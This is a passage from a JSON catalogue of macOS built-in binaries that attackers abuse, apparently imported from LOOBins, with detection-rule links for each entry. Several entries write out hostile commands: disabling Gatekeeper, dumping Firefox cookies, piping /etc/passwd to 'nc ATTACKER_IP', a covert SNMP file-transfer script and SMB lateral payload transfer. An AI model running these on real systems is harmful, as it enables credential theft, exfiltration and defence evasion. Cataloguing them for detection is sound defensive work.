         "Defense Evasion"
       ],
       "command": "security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain bad_cert.crt",
       "description": "This command will add a certificate to the keychain.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/security"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Credentials from Password Stores - Keychain",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml"
         },
         {
           "type": "Elastic: Access to Keychain Credentials Directories",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_credentials_keychains.toml"
         },
         {
           "type": "Elastic: Credential Access Dumping Keychain Security",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_dumping_keychain_security.toml"
         },
         {
           "type": "Elastic: Keychain Password Retrieval via Command Line",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml"
         },
         {
           "type": "Jamf Protect: Detect Keychain dumping using security",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/keychain_dumped"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/security.yml",
         "https://www.netmeister.org/blog/keychain-passwords.html",
         "https://ss64.com/osx/security.html"
       ]
     },
     {
       "id": "loobins:sfltool:1a930e98a41d0d09",
       "toolId": "loobins:sfltool",
       "toolName": "sfltool",
       "name": "Display Login Items",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sfltool dumpbtm",
       "description": "Identify all current login and background items configured on the system.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sfltool"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect attempts to dump BTM or being reverted to installation defaults",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sfltool_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sfltool.yml",
         "https://www.unix.com/man-page/mojave/1/sfltool/",
         "https://eclecticlight.co/2023/02/15/controlling-login-and-background-items-in-ventura/"
       ]
     },
     {
       "id": "loobins:sfltool:d845cfd089e6a465",
       "toolId": "loobins:sfltool",
       "toolName": "sfltool",
       "name": "Reset Login Items to Defaults",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "sfltool resetbtm",
       "description": "Reset all third-party Login Items and revert to installation defaults.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sfltool"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect attempts to dump BTM or being reverted to installation defaults",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sfltool_activity"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sfltool.yml",
         "https://www.unix.com/man-page/mojave/1/sfltool/",
         "https://eclecticlight.co/2023/02/15/controlling-login-and-background-items-in-ventura/"
       ]
     },
     {
       "id": "loobins:sharing:a3a779c08185c705",
       "toolId": "loobins:sharing",
       "toolName": "sharing",
       "name": "Create an SMB share on a target over SSH for lateral tool transfer",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Lateral Movement"
       ],
       "command": "# On target (via SSH): create share directory, start smbd, create the share\nssh user@<TARGET_IP> 'mkdir -p ~/share && sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smbd.plist && sudo sharing -a /Users/user/share -n share -s 001'\n\n# On attacker: mount the share using osascript and transfer a file\nosascript -e 'mount volume \"smb://user:<PASSWORD>@<TARGET_IP>/share\"'\ncp payload.sh /Volumes/share/",
       "description": "With SSH access to the target, the sharing utility can create an SMB share pointing to a directory on the target. Combined with the macOS smbd LaunchDaemon, the share becomes accessible over the network. The attacker can then mount the share using osascript and copy files directly into it, which appear immediately in the target's share directory. The -s 001 flag enables SMB access on the share.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sharing"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sharing.yml",
         "https://ss64.com/mac/sharing.html",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:snmptrap:d22536ed519866e6",
       "toolId": "loobins:snmptrap",
       "toolName": "snmptrap",
       "name": "Covert file transfer via SNMP trap payloads",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Lateral Movement",
         "Exfiltration",
         "Command and Control"
       ],
       "command": "# On receiver: install trap handler script\nsudo tee /usr/local/bin/trap_handler.sh > /dev/null << 'EOF'\n#!/bin/bash\nTRANSFER_DIR=\"/tmp/snmp_transfers\"\nSTATE_FILE=\"/tmp/snmp_transfer_state\"\nmkdir -p \"$TRANSFER_DIR\"\nwhile read line; do\n    if echo \"$line\" | grep -q \"SNMPv2-SMI::enterprises.99999.1\"; then\n        DATA=$(echo \"$line\" | sed 's/.*\"\\(.*\\)\"/\\1/')\n        if [[ \"$DATA\" == FILENAME:* ]]; then\n            FILENAME=\"${DATA#FILENAME:}\"\n            echo \"$FILENAME\" > \"$STATE_FILE\"\n            > \"${TRANSFER_DIR}/${FILENAME}.b64\"\n        elif [[ \"$DATA\" == DATA:* ]]; then\n            if [ -f \"$STATE_FILE\" ]; then\n                FILENAME=$(cat \"$STATE_FILE\")\n                CHUNK=\"${DATA#DATA:}\"\n                echo -n \"$CHUNK\" >> \"${TRANSFER_DIR}/${FILENAME}.b64\"\n            fi\n        elif [[ \"$DATA\" == \"END\" ]]; then\n            if [ -f \"$STATE_FILE\" ]; then\n                FILENAME=$(cat \"$STATE_FILE\")\n                base64 -D < \"${TRANSFER_DIR}/${FILENAME}.b64\" > \"${TRANSFER_DIR}/${FILENAME}\"\n                echo \"MD5: $(md5 -q \"${TRANSFER_DIR}/${FILENAME}\")\"\n                rm \"${TRANSFER_DIR}/${FILENAME}.b64\"\n                rm \"$STATE_FILE\"\n            fi\n        fi\n    fi\ndone\nEOF\nsudo chmod +x /usr/local/bin/trap_handler.sh\n\n# On receiver: configure snmptrapd to route traps to the handler and start it\nsudo tee /etc/snmp/snmptrapd.conf > /dev/null << 'EOF'\ndisableAuthorization yes\ntraphandle default /usr/local/bin/trap_handler.sh\nEOF\nsudo snmptrapd -f -Lo\n\n# On sender: transmit file in chunks\nFILE_PATH=\"/tmp/payload.sh\"\nRECEIVER_IP=\"<RECEIVER_IP>\"\nCHUNK_SIZE=1000\nBASE64_DATA=$(base64 < \"$FILE_PATH\")\nFILE_NAME=$(basename \"$FILE_PATH\")\nsnmptrap -v 2c -c public \"$RECEIVER_IP\" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s \"FILENAME:$FILE_NAME\"\necho \"$BASE64_DATA\" | fold -w $CHUNK_SIZE | while read chunk; do\n    snmptrap -v 2c -c public \"$RECEIVER_IP\" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s \"DATA:$chunk\"\n    sleep 0.1\ndone\nsnmptrap -v 2c -c public \"$RECEIVER_IP\" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s \"END\"",
       "description": "This technique assumes both the sender and receiver are macOS hosts. Files are base64-encoded and sent as a sequence of SNMP traps carrying chunked data under a custom OID (1.3.6.1.4.1.99999). Three message types are used - FILENAME signals the start of a transfer, DATA carries each base64 chunk, and END triggers reassembly. snmptrapd on the receiver routes all traps to a handler script that writes, reassembles, and decodes the chunks using macOS-native base64 and md5 utilities. The resulting file is verified with an MD5 hash.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/snmptrap",
         "/usr/sbin/snmptrapd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/snmptrap.yml",
         "https://net-snmp.sourceforge.io/",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:softwareupdate:1588742f064e0e3f",
       "toolId": "loobins:softwareupdate",
       "toolName": "softwareupdate",
       "name": "Get OS and browser version information",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "softwareupdate --list",
       "description": "Determine OS and Safari version by enumerating the available software updates.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/softwareupdate"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/softwareupdate.yml",
         "https://ss64.com/osx/softwareupdate.html"
       ]
     },
     {
       "id": "loobins:softwareupdate:231fbe890167d3a7",
       "toolId": "loobins:softwareupdate",
       "toolName": "softwareupdate",
       "name": "Get OS update policy",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "softwareupdate --schedule",
       "description": "Use the --schedule flag to return the OS update policy.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/softwareupdate"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/softwareupdate.yml",
         "https://ss64.com/osx/softwareupdate.html"
       ]
     },
     {
       "id": "loobins:spctl:843d31053bd2f21e",
       "toolId": "loobins:spctl",
       "toolName": "spctl",
       "name": "Disable Gatekeeper",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "sudo spctl --master-disable",
       "description": "The --master-disable switch disables Gatekeeper. The command must be run with root/sudo permission.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/spctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Elastic Detection Rules: Attempt to Disable Gatekeeper",
           "value": "https://github.com/elastic/detection-rules/blob/e9baebc2bc18f90ae16501613cd9521a16a38ad7/rules/macos/defense_evasion_attempt_to_disable_gatekeeper.toml"
         },
         {
           "type": "Sigma Rules: Disable Security Tools",
           "value": "https://github.com/SigmaHQ/sigma/blob/cd71edc09ca915f389e50df5b1bbb5ecd4b7f89d/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/spctl.yml",
         "https://disable-gatekeeper.github.io/"
       ]
     },
     {
       "id": "loobins:sqlite3:06ae594029f6aa24",
       "toolId": "loobins:sqlite3",
       "toolName": "sqlite3",
       "name": "Get apps with Full Disk access",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \\\n'select client from access where auth_value and service = \"kTCCServiceSystemPolicyAllFiles\"'",
       "description": "The following command interacts with the TCC (Transparency, Consent, and Control) database to show the apps that have Full Disk access permission",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sqlite3"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Elastic Detection Rules: Potential Privacy Control Bypass via TCCDB Modification",
           "value": "https://github.com/elastic/detection-rules/blob/e9baebc2bc18f90ae16501613cd9521a16a38ad7/rules/macos/defense_evasion_privacy_controls_tcc_database_modification.toml"
         },
         {
           "type": "Splunk Security Content: Suspicious SQLite3 LSQuarantine Behavior",
           "value": "https://github.com/splunk/security_content/blob/c65dda5c0aa73a97f28c49c20739971ec1ba18a6/dev/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml#L2"
         },
         {
           "type": "Jamf Protect: Detect SQLite3 activity used to associated URLs with downloaded files",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sqlite3_downloads"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sqlite3.yml",
         "https://github.com/bp88/JSS-Scripts/blob/master/TCC.db%20Modifier.sh",
         "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
       ]
     },
     {
       "id": "loobins:sqlite3:b28bfa60a737df07",
       "toolId": "loobins:sqlite3",
       "toolName": "sqlite3",
       "name": "Get Firefox cookie data",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection",
         "Credential Access"
       ],
       "nativeCategory": [
         "Collection",
         "Credential Access"
       ],
       "command": "killall firefox; find ~/Library/Application\\ Support/Firefox/Profiles/. | grep cookies.sqlite | xargs -I {} sqlite3 {} \"select * from moz_cookies\"",
       "description": "The following one-liner can be used to kill Firefox and dump cookie data from the user's Firefox profile.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sqlite3"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Elastic Detection Rules: Potential Privacy Control Bypass via TCCDB Modification",
           "value": "https://github.com/elastic/detection-rules/blob/e9baebc2bc18f90ae16501613cd9521a16a38ad7/rules/macos/defense_evasion_privacy_controls_tcc_database_modification.toml"
         },
         {
           "type": "Splunk Security Content: Suspicious SQLite3 LSQuarantine Behavior",
           "value": "https://github.com/splunk/security_content/blob/c65dda5c0aa73a97f28c49c20739971ec1ba18a6/dev/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml#L2"
         },
         {
           "type": "Jamf Protect: Detect SQLite3 activity used to associated URLs with downloaded files",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sqlite3_downloads"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sqlite3.yml",
         "https://github.com/bp88/JSS-Scripts/blob/master/TCC.db%20Modifier.sh",
         "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
       ]
     },
     {
       "id": "loobins:sqlite3:de4f81bf94a8b374",
       "toolId": "loobins:sqlite3",
       "toolName": "sqlite3",
       "name": "View URL associated with file downloads",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection",
         "Credential Access"
       ],
       "nativeCategory": [
         "Collection",
         "Credential Access"
       ],
       "command": "sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent'",
       "description": "The following sqlite command is commonly used by macOS malware to view the URL in which the payload was downloaded from.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sqlite3"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Elastic Detection Rules: Potential Privacy Control Bypass via TCCDB Modification",
           "value": "https://github.com/elastic/detection-rules/blob/e9baebc2bc18f90ae16501613cd9521a16a38ad7/rules/macos/defense_evasion_privacy_controls_tcc_database_modification.toml"
         },
         {
           "type": "Splunk Security Content: Suspicious SQLite3 LSQuarantine Behavior",
           "value": "https://github.com/splunk/security_content/blob/c65dda5c0aa73a97f28c49c20739971ec1ba18a6/dev/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml#L2"
         },
         {
           "type": "Jamf Protect: Detect SQLite3 activity used to associated URLs with downloaded files",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sqlite3_downloads"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sqlite3.yml",
         "https://github.com/bp88/JSS-Scripts/blob/master/TCC.db%20Modifier.sh",
         "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
       ]
     },
     {
       "id": "loobins:ssh-keygen:09fc4639a16866cd",
       "toolId": "loobins:ssh-keygen",
       "toolName": "ssh-keygen",
       "name": "Execute malicious dynamic library (.dylib) from standard input",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Execution",
         "Defense Evasion"
       ],
       "command": "ssh-keygen -D /private/tmp/evil.dylib",
       "description": "An attacker can execute a malicious .dylib from stdin by echoing a load command and piping to tclsh. This will bypass code signing requirements.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/ssh-keygen"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Recommendations included in resource below. No formal detection content at this time.",
           "value": "https://medium.com/@D00MFist/generate-keys-or-generate-dylib-loads-c99ed48f323d"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ssh-keygen.yml",
         "https://medium.com/@D00MFist/generate-keys-or-generate-dylib-loads-c99ed48f323d"
       ]
     },
     {
       "id": "loobins:streamzip:d1107233f4c25cdc",
       "toolId": "loobins:streamzip",
       "toolName": "streamzip",
       "name": "Copy and compress sensitive data locally",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection"
       ],
       "nativeCategory": [
         "Collection",
         "Exfiltration"
       ],
       "command": "dd if=/etc/passwd | streamzip - stream | nc ATTACKER_IP PORT",
       "description": "The following command reads file data and compresses the data for exfiltration",
       "mitre": [],
       "fullPath": [
         "/usr/bin/streamzip"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content at time of writing",
           "value": "No detection content at time of writing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/streamzip.yml",
         "https://docs.oracle.com/cd/E88353_01/html/E37839/streamzip-1.html"
       ]
     },
     {
       "id": "loobins:sw_vers:5efd19376b53fada",
       "toolId": "loobins:sw_vers",
       "toolName": "sw_vers",
       "name": "Retrieving macOS Version Information",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sw_vers",
       "description": "Fetch detailed macOS version information including the build version, product name, and product version.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sw_vers"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sw_vers.yml",
         "https://macosbin.com/bin/sw_vers",
         "https://ss64.com/osx/sw_vers.html"
       ]
     },
     {
       "id": "loobins:sw_vers:6617de5f492de05f",
       "toolId": "loobins:sw_vers",
       "toolName": "sw_vers",
       "name": "Retrieving macOS Product Version",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sw_vers -productVersion",
       "description": "Fetch macOS product version.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sw_vers"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sw_vers.yml",
         "https://macosbin.com/bin/sw_vers",
         "https://ss64.com/osx/sw_vers.html"
       ]
     },
     {
       "id": "loobins:sw_vers:b0419646786aaad1",
       "toolId": "loobins:sw_vers",
       "toolName": "sw_vers",
       "name": "Retrieving macOS Product Name",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sw_vers -productName",
       "description": "Fetch detailed macOS product name.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sw_vers"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sw_vers.yml",
         "https://macosbin.com/bin/sw_vers",
         "https://ss64.com/osx/sw_vers.html"
       ]
     },
     {
       "id": "loobins:sw_vers:12adb0bc68d114b8",
       "toolId": "loobins:sw_vers",
       "toolName": "sw_vers",
       "name": "Retrieving macOS Build Version",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sw_vers -buildVersion",
       "description": "Fetch detailed macOS build version.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/sw_vers"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/sw_vers.yml",
         "https://macosbin.com/bin/sw_vers",
         "https://ss64.com/osx/sw_vers.html"
       ]
     },
     {
       "id": "loobins:swift:db1eec9ae07ce64e",
       "toolId": "loobins:swift",
       "toolName": "swift",
       "name": "Execute Swift code file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "swift mycode.swift",
       "description": "Executes the Swift code that is in a .swift file",
       "mitre": [],
       "fullPath": [
         "/usr/bin/swift"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process & Command Line Argument Detection (process contains swift)",
           "value": "Process & Command Line Argument Detection (process contains swift)"
         },
         {
           "type": "Jamf Protect: Detect arbitrary code execution using a swift one-liner",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/swift_oneline_command_execution"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/swift.yml",
         "https://developer.apple.com/swift/blog/?id=18",
         "https://jblevins.org/log/swift",
         "https://krakendev.io/blog/scripting-in-swift",
         "https://blog.eidinger.info/swift-e-runs-code-directly-from-the-command-line",
         "https://ed.com/command-line-swift/"
       ]
     },
     {
       "id": "loobins:swift:4774f10c89e8cf8c",
       "toolId": "loobins:swift",
       "toolName": "swift",
       "name": "Execute Swift one-liner before swift 5.8 / Xcode 14.3 Beta 1",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Execution",
         "Defense Evasion"
       ],
       "command": "echo 'print(\"loobins\")' | swift -",
       "description": "Executes a Swift one-liner by piping an echoed string into the swift command",
       "mitre": [],
       "fullPath": [
         "/usr/bin/swift"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process & Command Line Argument Detection (process contains swift)",
           "value": "Process & Command Line Argument Detection (process contains swift)"
         },
         {
           "type": "Jamf Protect: Detect arbitrary code execution using a swift one-liner",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/swift_oneline_command_execution"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/swift.yml",
         "https://developer.apple.com/swift/blog/?id=18",
         "https://jblevins.org/log/swift",
         "https://krakendev.io/blog/scripting-in-swift",
         "https://blog.eidinger.info/swift-e-runs-code-directly-from-the-command-line",
         "https://ed.com/command-line-swift/"
       ]
     },
     {
       "id": "loobins:swift:1d38d36cc5bfdc09",
       "toolId": "loobins:swift",
       "toolName": "swift",
       "name": "Execute Swift one-liner with swift 5.8 / Xcode 14.3 Beta 1 or greater",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Execution",
         "Defense Evasion"
       ],
       "command": "swift -e 'import Foundation; let process = Process(); process.executableURL = URL(fileURLWithPath:\"/bin/bash\"); process.arguments = [\"-c\", \"ls -alh\"]; let stdout = Pipe(); let stderr = Pipe(); process.standardOutput = stdout; process.standardError = stderr; try process.run(); print(String(decoding: stdout.fileHandleForReading.readDataToEndOfFile(), as: UTF8.self)); print(String(decoding: stderr.fileHandleForReading.readDataToEndOfFile(), as: UTF8.self));'",
       "description": "Executes a Swift one-liner that executes the ls command to list the current directory using the -e option that was implemented in swift 5.8 / Xcode 14.3 Beta 1",
       "mitre": [],
       "fullPath": [
         "/usr/bin/swift"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process & Command Line Argument Detection (process contains swift)",
           "value": "Process & Command Line Argument Detection (process contains swift)"
         },
         {
           "type": "Jamf Protect: Detect arbitrary code execution using a swift one-liner",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/swift_oneline_command_execution"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/swift.yml",
         "https://developer.apple.com/swift/blog/?id=18",
         "https://jblevins.org/log/swift",
         "https://krakendev.io/blog/scripting-in-swift",
         "https://blog.eidinger.info/swift-e-runs-code-directly-from-the-command-line",
         "https://ed.com/command-line-swift/"
       ]
     },
     {
       "id": "loobins:sysadminctl:b115efd1e19c6561",
       "toolId": "loobins:sysadminctl",
       "toolName": "sysadminctl",
       "name": "Enable Guest Account",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Initial Access"
       ],
       "command": "sudo sysadminctl -guestAccount on",
       "description": "sysadminctl can be used to enable the guest account",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/sysadminctl"
